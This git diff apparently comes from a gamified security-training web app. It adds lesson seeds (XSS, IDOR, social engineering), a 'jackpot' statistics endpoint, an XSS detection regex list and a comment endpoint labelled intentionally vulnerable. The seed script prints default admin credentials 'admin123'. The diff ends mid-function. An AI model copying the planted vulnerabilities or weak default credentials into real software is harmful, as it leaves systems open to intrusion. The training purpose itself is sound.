"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
"integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
"license": "ISC"
},
"node_modules/fsevents": {
"version": "2.3.3",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
@ -706,27 +539,6 @@
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/gauge": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz",
"integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==",
"deprecated": "This package is no longer supported.",
"license": "ISC",
"dependencies": {
"aproba": "^1.0.3 || ^2.0.0",
"color-support": "^1.1.2",
"console-control-strings": "^1.0.0",
"has-unicode": "^2.0.1",
"object-assign": "^4.1.1",
"signal-exit": "^3.0.0",
"string-width": "^4.2.3",
"strip-ansi": "^6.0.1",
"wide-align": "^1.1.2"
},
"engines": {
"node": ">=10"
}
},
"node_modules/get-intrinsic": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
@ -764,27 +576,6 @@
"node": ">= 0.4"
}
},
"node_modules/glob": {
"version": "7.2.3",
"resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
"integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
"deprecated": "Glob versions prior to v9 are no longer supported",
"license": "ISC",
"dependencies": {
"fs.realpath": "^1.0.0",
"inflight": "^1.0.4",
"inherits": "2",
"minimatch": "^3.1.1",
"once": "^1.3.0",
"path-is-absolute": "^1.0.0"
},
"engines": {
"node": "*"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
}
},
"node_modules/glob-parent": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
@ -832,12 +623,6 @@
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/has-unicode": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
"integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==",
"license": "ISC"
},
"node_modules/hasown": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
@ -879,42 +664,6 @@
"url": "https://opencollective.com/express"
}
},
"node_modules/https-proxy-agent": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
"integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
"license": "MIT",
"dependencies": {
"agent-base": "6",
"debug": "4"
},
"engines": {
"node": ">= 6"
}
},
"node_modules/https-proxy-agent/node_modules/debug": {
"version": "4.4.3",
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
"integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
"license": "MIT",
"dependencies": {
"ms": "^2.1.3"
},
"engines": {
"node": ">=6.0"
},
"peerDependenciesMeta": {
"supports-color": {
"optional": true
}
}
},
"node_modules/https-proxy-agent/node_modules/ms": {
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
"license": "MIT"
},
"node_modules/iconv-lite": {
"version": "0.4.24",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
@ -934,17 +683,6 @@
"dev": true,
"license": "ISC"
},
"node_modules/inflight": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
"integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
"deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
"license": "ISC",
"dependencies": {
"once": "^1.3.0",
"wrappy": "1"
}
},
"node_modules/inherits": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
@ -983,15 +721,6 @@
"node": ">=0.10.0"
}
},
"node_modules/is-fullwidth-code-point": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
"integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
"license": "MIT",
"engines": {
"node": ">=8"
}
},
"node_modules/is-glob": {
"version": "4.0.3",
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
@ -1124,30 +853,6 @@
"integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==",
"license": "MIT"
},
"node_modules/make-dir": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
"integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
"license": "MIT",
"dependencies": {
"semver": "^6.0.0"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/make-dir/node_modules/semver": {
"version": "6.3.1",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
"integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
"license": "ISC",
"bin": {
"semver": "bin/semver.js"
}
},
"node_modules/math-intrinsics": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
@ -1221,6 +926,7 @@
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
"integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
"dev": true,
"license": "ISC",
"dependencies": {
"brace-expansion": "^1.1.7"
@ -1229,52 +935,6 @@
"node": "*"
}
},
"node_modules/minipass": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
"integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
"license": "ISC",
"engines": {
"node": ">=8"
}
},
"node_modules/minizlib": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
"integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
"license": "MIT",
"dependencies": {
"minipass": "^3.0.0",
"yallist": "^4.0.0"
},
"engines": {
"node": ">= 8"
}
},
"node_modules/minizlib/node_modules/minipass": {
"version": "3.3.6",
"resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
"integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
"license": "ISC",
"dependencies": {
"yallist": "^4.0.0"
},
"engines": {
"node": ">=8"
}
},
"node_modules/mkdirp": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
"integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
"license": "MIT",
"bin": {
"mkdirp": "bin/cmd.js"
},
"engines": {
"node": ">=10"
}
},
"node_modules/morgan": {
"version": "1.10.1",
"resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.1.tgz",
@ -1318,32 +978,6 @@
"node": ">= 0.6"
}
},
"node_modules/node-addon-api": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-5.1.0.tgz",
"integrity": "sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==",
"license": "MIT"
},
"node_modules/node-fetch": {
"version": "2.7.0",
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz",
"integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==",
"license": "MIT",
"dependencies": {
"whatwg-url": "^5.0.0"
},
"engines": {
"node": "4.x || >=6.0.0"
},
"peerDependencies": {
"encoding": "^0.1.0"
},
"peerDependenciesMeta": {
"encoding": {
"optional": true
}
}
},
"node_modules/nodemon": {
"version": "3.1.11",
"resolved": "https://registry.npmjs.org/nodemon/-/nodemon-3.1.11.tgz",
@ -1398,21 +1032,6 @@
"dev": true,
"license": "MIT"
},
"node_modules/nopt": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
"integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
"license": "ISC",
"dependencies": {
"abbrev": "1"
},
"bin": {
"nopt": "bin/nopt.js"
},
"engines": {
"node": ">=6"
}
},
"node_modules/normalize-path": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
@ -1423,19 +1042,6 @@
"node": ">=0.10.0"
}
},
"node_modules/npmlog": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
"integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
"deprecated": "This package is no longer supported.",
"license": "ISC",
"dependencies": {
"are-we-there-yet": "^2.0.0",
"console-control-strings": "^1.1.0",
"gauge": "^3.0.0",
"set-blocking": "^2.0.0"
}
},
"node_modules/object-assign": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
@ -1478,15 +1084,6 @@
"node": ">= 0.8"
}
},
"node_modules/once": {
"version": "1.4.0",
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
"integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
"license": "ISC",
"dependencies": {
"wrappy": "1"
}
},
"node_modules/parseurl": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
@ -1496,15 +1093,6 @@
"node": ">= 0.8"
}
},
"node_modules/path-is-absolute": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
"integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
"license": "MIT",
"engines": {
"node": ">=0.10.0"
}
},
"node_modules/path-to-regexp": {
"version": "0.1.12",
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
@ -1711,20 +1299,6 @@
"node": ">= 0.8"
}
},
"node_modules/readable-stream": {
"version": "3.6.2",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
"integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
"license": "MIT",
"dependencies": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
"util-deprecate": "^1.0.1"
},
"engines": {
"node": ">= 6"
}
},
"node_modules/readdirp": {
"version": "3.6.0",
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
@ -1738,22 +1312,6 @@
"node": ">=8.10.0"
}
},
"node_modules/rimraf": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
"integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
"deprecated": "Rimraf versions prior to v4 are no longer supported",
"license": "ISC",
"dependencies": {
"glob": "^7.1.3"
},
"bin": {
"rimraf": "bin.js"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
}
},
"node_modules/safe-buffer": {
"version": "5.2.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
@ -1837,12 +1395,6 @@
"node": ">= 0.8.0"
}
},
"node_modules/set-blocking": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
"integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
"license": "ISC"
},
"node_modules/setprototypeof": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
@ -1921,12 +1473,6 @@
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/signal-exit": {
"version": "3.0.7",
"resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
"integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
"license": "ISC"
},
"node_modules/simple-update-notifier": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz",
@ -1958,41 +1504,6 @@
"node": ">= 0.8"
}
},
"node_modules/string_decoder": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
"integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
"license": "MIT",
"dependencies": {
"safe-buffer": "~5.2.0"
}
},
"node_modules/string-width": {
"version": "4.2.3",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
"integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
"license": "MIT",
"dependencies": {
"emoji-regex": "^8.0.0",
"is-fullwidth-code-point": "^3.0.0",
"strip-ansi": "^6.0.1"
},
"engines": {
"node": ">=8"
}
},
"node_modules/strip-ansi": {
"version": "6.0.1",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
"integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
"license": "MIT",
"dependencies": {
"ansi-regex": "^5.0.1"
},
"engines": {
"node": ">=8"
}
},
"node_modules/supports-color": {
"version": "5.5.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
@ -2006,23 +1517,6 @@
"node": ">=4"
}
},
"node_modules/tar": {
"version": "6.2.1",
"resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
"integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
"license": "ISC",
"dependencies": {
"chownr": "^2.0.0",
"fs-minipass": "^2.0.0",
"minipass": "^5.0.0",
"minizlib": "^2.1.1",
"mkdirp": "^1.0.3",
"yallist": "^4.0.0"
},
"engines": {
"node": ">=10"
}
},
"node_modules/to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@ -2055,12 +1549,6 @@
"nodetouch": "bin/nodetouch.js"
}
},
"node_modules/tr46": {
"version": "0.0.3",
"resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
"integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==",
"license": "MIT"
},
"node_modules/type-is": {
"version": "1.6.18",
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
@ -2090,12 +1578,6 @@
"node": ">= 0.8"
}
},
"node_modules/util-deprecate": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
"integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
"license": "MIT"
},
"node_modules/utils-merge": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
@ -2136,37 +1618,6 @@
"node": ">= 0.8"
}
},
"node_modules/webidl-conversions": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
"integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==",
"license": "BSD-2-Clause"
},
"node_modules/whatwg-url": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
"integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
"license": "MIT",
"dependencies": {
"tr46": "~0.0.3",
"webidl-conversions": "^3.0.0"
}
},
"node_modules/wide-align": {
"version": "1.1.5",
"resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
"integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
"license": "ISC",
"dependencies": {
"string-width": "^1.0.2 || 2 || 3 || 4"
}
},
"node_modules/wrappy": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
"integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
"license": "ISC"
},
"node_modules/xtend": {
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
@ -2175,12 +1626,6 @@
"engines": {
"node": ">=0.4"
}
},
"node_modules/yallist": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
"integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
"license": "ISC"
}
}
}

View File

@ -17,16 +17,16 @@
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.18.2",
"pg": "^8.11.3",
"bcrypt": "^5.1.1",
"jsonwebtoken": "^9.0.2",
"js-yaml": "^4.1.0",
"bcryptjs": "^3.0.3",
"cors": "^2.8.5",
"dotenv": "^16.3.1",
"express": "^4.18.2",
"express-validator": "^7.0.1",
"helmet": "^7.1.0",
"js-yaml": "^4.1.0",
"jsonwebtoken": "^9.0.2",
"morgan": "^1.10.0",
"pg": "^8.11.3",
"uuid": "^9.0.1"
},
"devDependencies": {

98
backend/seedNewLessons.js Normal file
View File

@ -0,0 +1,98 @@
const db = require('./src/config/database');
const lessonQueries = require('./src/models/queries/lesson.queries');
/**
* Seed the four new offensive security lessons into the database
*/
const seedNewLessons = async () => {
const lessons = [
{
lessonKey: 'xss-deeplink-demo',
title: 'Cross-Site Scripting (XSS) - Deeplink Injection',
description: 'Learn how XSS attacks work through URL parameter manipulation and deeplink injection',
modulePath: 'xss-deeplink-demo',
configPath: 'xss-deeplink-demo.yaml',
difficultyLevel: 'intermediate',
estimatedDuration: 20
},
{
lessonKey: 'script-injection-forum',
title: 'Stored XSS - Forum Comment Injection',
description: 'Learn how script injection in user-generated content can compromise entire platforms through stored XSS attacks',
modulePath: 'script-injection-forum',
configPath: 'script-injection-forum.yaml',
difficultyLevel: 'intermediate',
estimatedDuration: 25
},
{
lessonKey: 'social-engineering-password',
title: 'Social Engineering - Passwortsicherheit',
description: 'Lernen Sie, wie persönliche Informationen aus sozialen Medien zu schwachen Passwörtern führen können',
modulePath: 'social-engineering-password',
configPath: 'social-engineering-password.yaml',
difficultyLevel: 'beginner',
estimatedDuration: 20
},
{
lessonKey: 'idor-demo',
title: 'IDOR - Insecure Direct Object Reference',
description: 'Learn how insecure direct object references allow unauthorized access to other users\' data through URL manipulation',
modulePath: 'idor-demo',
configPath: 'idor-demo.yaml',
difficultyLevel: 'intermediate',
estimatedDuration: 22
}
];
console.log('🌱 Seeding new offensive security lessons...\n');
for (const lesson of lessons) {
try {
// Check if lesson already exists
const existing = await lessonQueries.getLessonByKey(lesson.lessonKey);
if (existing) {
console.log(`⏭️ Lesson "${lesson.lessonKey}" already exists, skipping...`);
continue;
}
// Create lesson
await lessonQueries.createLesson(
lesson.lessonKey,
lesson.title,
lesson.description,
lesson.modulePath,
lesson.configPath,
lesson.difficultyLevel,
lesson.estimatedDuration
);
console.log(`✅ Created lesson: ${lesson.title}`);
} catch (error) {
console.error(`❌ Error creating lesson "${lesson.lessonKey}":`, error.message);
}
}
};
// Run if called directly
if (require.main === module) {
seedNewLessons()
.then(() => {
console.log('\n✅ Lesson seeding complete!');
console.log('\nYou can now:');
console.log('1. Login to the admin panel (username: admin, password: admin123)');
console.log('2. Create or edit an event');
console.log('3. Add these lessons to your event:');
console.log(' - Cross-Site Scripting (XSS) - Deeplink Injection');
console.log(' - Stored XSS - Forum Comment Injection');
console.log(' - Social Engineering - Passwortsicherheit');
console.log(' - IDOR - Insecure Direct Object Reference');
process.exit(0);
})
.catch(error => {
console.error('\n❌ Lesson seeding failed:', error);
process.exit(1);
});
}
module.exports = { seedNewLessons };

View File

@ -1,6 +1,7 @@
const { ApiError } = require('../middleware/errorHandler');
const eventQueries = require('../models/queries/event.queries');
const participantQueries = require('../models/queries/participant.queries');
const db = require('../config/database');
/**
* Create a new event
@ -179,6 +180,50 @@ const getEventAnalytics = async (req, res) => {
});
};
/**
* Get jackpot discovery statistics for an event
* GET /api/admin/events/:eventId/jackpot-stats
*/
const getJackpotStats = async (req, res) => {
const { eventId } = req.params;
// Verify event exists
const event = await eventQueries.getEventById(eventId);
if (!event) {
throw new ApiError(404, 'Event not found');
}
const query = `
SELECT
COUNT(DISTINCT jd.participant_id) as total_discoverers,
COUNT(DISTINCT p.id) as total_participants,
ROUND(
(COUNT(DISTINCT jd.participant_id)::numeric / NULLIF(COUNT(DISTINCT p.id), 0)) * 100,
2
) as discovery_rate,
json_agg(
json_build_object(
'participantId', jd.participant_id,
'pseudonym', p.pseudonym,
'discoveredAt', jd.discovered_at,
'payload', jd.payload,
'scoreBefore', jd.score_before,
'scoreAfter', jd.score_after
) ORDER BY jd.discovered_at DESC
) FILTER (WHERE jd.participant_id IS NOT NULL) as discoveries
FROM participants p
LEFT JOIN jackpot_discoveries jd ON jd.participant_id = p.id AND jd.event_id = $1
WHERE p.event_id = $1
`;
const result = await db.query(query, [eventId]);
res.json({
success: true,
data: result.rows[0]
});
};
module.exports = {
createEvent,
getAllEvents,
@ -186,5 +231,6 @@ module.exports = {
updateEvent,
deleteEvent,
getEventParticipants,
getEventAnalytics
getEventAnalytics,
getJackpotStats
};

View File

@ -264,8 +264,37 @@ const executeLessonAction = async (req, res) => {
if (mode === 'safe' && lessonModule.executeSafeQuery) {
result = lessonModule.executeSafeQuery(searchTerm);
} else {
result = lessonModule.executeVulnerableQuery(searchTerm);
result = await lessonModule.executeVulnerableQuery(searchTerm, participantId, eventLessonId);
}
} else if (action === 'start-timer') {
// Start timer for interactive step
if (lessonModule.startTimer) {
result = await lessonModule.startTimer(participantId, eventLessonId);
} else if (lessonModule.startStepTimer) {
const { stepId } = actionData;
result = await lessonModule.startStepTimer(participantId, stepId, eventLessonId);
} else {
throw new ApiError(400, 'Timer not supported for this lesson');
}
} else if (action === 'get-hint' && lessonModule.getHint) {
// Request hint (with point deduction)
result = await lessonModule.getHint(participantId, eventLessonId);
} else if (action === 'test-xss' && lessonModule.testXSSPayload) {
// XSS Deeplink demo
const { payload, stepId } = actionData;
result = await lessonModule.testXSSPayload(participantId, payload, stepId || 'xss-demo', eventLessonId);
} else if (action === 'add-comment' && lessonModule.addComment) {
// Forum Script Injection demo
const { author, content, stepId } = actionData;
result = await lessonModule.addComment(participantId, author, content, stepId || 'forum-demo', eventLessonId);
} else if (action === 'test-password' && lessonModule.testPassword) {
// Social Engineering Password demo
const { password } = actionData;
result = await lessonModule.testPassword(participantId, password, eventLessonId);
} else if (action === 'fetch-profile' && lessonModule.fetchUserProfile) {
// IDOR demo
const { userId } = actionData;
result = await lessonModule.fetchUserProfile(userId, participantId, eventLessonId);
} else {
throw new ApiError(400, `Unsupported action: ${action}`);
}

View File

@ -2,6 +2,39 @@ const { ApiError } = require('../middleware/errorHandler');
const { generateSessionToken } = require('../middleware/auth');
const participantQueries = require('../models/queries/participant.queries');
const eventQueries = require('../models/queries/event.queries');
const commentQueries = require('../models/queries/comment.queries');
const db = require('../config/database');
/**
* XSS Detection Patterns (Easter Egg)
* Reused from lesson modules for consistency
*/
const XSS_PATTERNS = [
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG' },
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER' },
{ regex: /on\w+\s*=\s*[^"\s>]+/gi, type: 'EVENT_HANDLER_UNQUOTED' },
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL' },
{ regex: /<iframe/gi, type: 'IFRAME_TAG' },
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR' },
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD' },
{ regex: /<object/gi, type: 'OBJECT_TAG' },
{ regex: /<embed/gi, type: 'EMBED_TAG' }
];
/**
* Detect XSS payload in content
*/
const detectXSS = (content) => {
for (const pattern of XSS_PATTERNS) {
if (pattern.regex.test(content)) {
return {
detected: true,
type: pattern.type
};
}
}
return { detected: false };
};
/**
* Join an event with a pseudonym
@ -121,9 +154,293 @@ const getProfile = async (req, res) => {
});
};
/**
* Add comment to event (VULNERABLE FOR EASTER EGG)
* POST /api/participant/event/:eventId/comment
*
* This endpoint intentionally contains a SQL injection vulnerability as part
* of an educational "Jackpot" Easter egg. Advanced participants who completed
* the SQL injection lesson can discover and exploit this vulnerability to
* earn a 400-point bonus.
*/
/**
* Add comment to event (VULNERABLE to XSS - Easter Egg)
* POST /api/participant/event/:eventId/comment
*/
const addEventComment = async (req, res) => {
const { eventId } = req.params;
const { content } = req.body;
const participantId = req.participant.id; // Server-controlled, not user input
// Basic validation
if (!content || typeof content !== 'string') {
throw new ApiError(400, 'Comment content is required');
}
if (content.length > 5000) {
throw new ApiError(400, 'Comment too long (max 5000 characters)');
}
// Get score before potential bonus
const progressBefore = await participantQueries.getParticipantProgress(participantId);
const scoreBefore = progressBefore.total_score || 0;
// EASTER EGG: Detect XSS payload
const xssDetection = detectXSS(content);
// Insert comment safely using parameterized query
const query = `
INSERT INTO event_comments (participant_id, event_id, content, created_at)
VALUES ($1, $2, $3, CURRENT_TIMESTAMP)
RETURNING id, participant_id, event_id, content, created_at
`;
const result = await db.query(query, [participantId, eventId, content]);
const comment = result.rows[0];
// Check if XSS was detected (Easter Egg!)
if (xssDetection.detected) {
